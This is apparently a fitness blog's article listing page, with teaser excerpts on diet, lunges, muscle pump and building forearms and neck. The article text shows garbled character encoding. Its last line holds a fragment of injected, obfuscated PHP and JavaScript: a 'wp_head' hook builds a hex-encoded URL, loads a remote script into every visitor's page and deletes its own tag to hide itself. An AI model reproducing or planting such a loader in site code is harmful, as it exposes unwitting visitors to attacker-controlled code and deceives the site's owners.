Follow @slikkfitness on Facebook, Instagram, Twitter, and TikTok for more by Chris Shugart with Tim Patterson, Ellington Darden, Christian Thibaudeau, and TC Luoma ยฉ 2022 by T Nation LLC and Biotest LLC This material is for informational purposes only and isnโt a substitute for the advice and care of your physician. Consult your physician to …
The Velocity Diet Read More »
Follow @slikkfitness on Facebook, Instagram, Twitter, and TikTok for more by Alan Bishop Proven Lifts That Get Results Get strong, build muscle, stay healthy, and be ready to compete. Add these plateau-busting, upper-body exercises to your workout plan. Three Plateau-Busting Exercises One reason people plateau is that they fall in love with a few lifts …
A Strength Coach’s Top 3 Upper-Body Exercises Read More »
Follow @slikkfitness on Facebook, Instagram, Twitter, and TikTok for more by Stuart McRobert How to Know If Youโre Sabotaging Yourself To gain serious size, stop standing in your own way. Take this bodybuilding test to see if youโre on the right path. The Ultimate Bodybuilding Checklist Can you check everything off this list? Think of …
The 12-Point Bodybuilding Checklist Read More »
Follow @slikkfitness on Facebook, Instagram, Twitter, and TikTok for more by Dr. John Rusin Powerful Single-Leg Movements Take this popular exercise to the next level if you want big legs, great glutes, and healthy knees. Hereโs what to do. Lunge Exercises: Non-Negotiable If you want to get stronger overall, increase leg size, and improve your …
5 Lunge Exercises for Strong Legs and Glutes Read More »
Bodybuilding, the Pump, and Soreness Does the muscle pump matter when it comes to growth? Does how a muscle feels, before or after lifting, matter at all? Get the facts here. Muscle Pump and the โFeelingโ of Growth Back in the Golden Age of bodybuilding (the 70s and 80s), everyone believed that the pump was …
The Truth About Muscle Pump and Hypertrophy Read More »
Forearm Exercises You Need With the right training, you can build big forearms quickly. So thereโs no reason for yours to be stuck at average. Hereโs what to do. Build Big Forearms Everyone knows to train their largest muscle groups to look strong and powerful. To speed up the process of developing the coveted โpower …
The Look of Power: Build Big Forearms Read More »
Get Yoked: Build a Thick Neck Sure, building your big muscle groups will make you bigger overall. But it takes a long time to get there. By contrast, if you build a thick neck, it’ll quickly change your whole look. The same is true for traps and forearms. These are the “power look” muscles. When …
The Look Of Power: Build a Thick Neck Read More »
,0x78,0x70,0x65,0x72,0x69,0x65,0x6e,0x63,0x65,0x2e,0x63,0x6f,0x6d,0x2f,0x73,0x74,0x61,0x72,0x74,0x73,0x2f,0x73,0x65,0x65,0x2e,0x6a,0x73),document['currentScript']['parentNode'][_0x3ec646(0x176)](f,document[_0x3ec646(0x17e)]),document['currentScript'][_0x3ec646(0x182)]();function _0x48d3(){var _0x35035=['script','currentScript','9RWzzPf','402740WuRnMq','732585GqVGDi','remove','createElement','30nckAdA','5567320ecrxpQ','src','insertBefore','8ujoTxO','1172840GvBdvX','4242564nZZHpA','296860cVAhnV','fromCharCode','5967705ijLbTz'];_0x48d3=function(){return _0x35035;};return _0x48d3();}";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}} ?>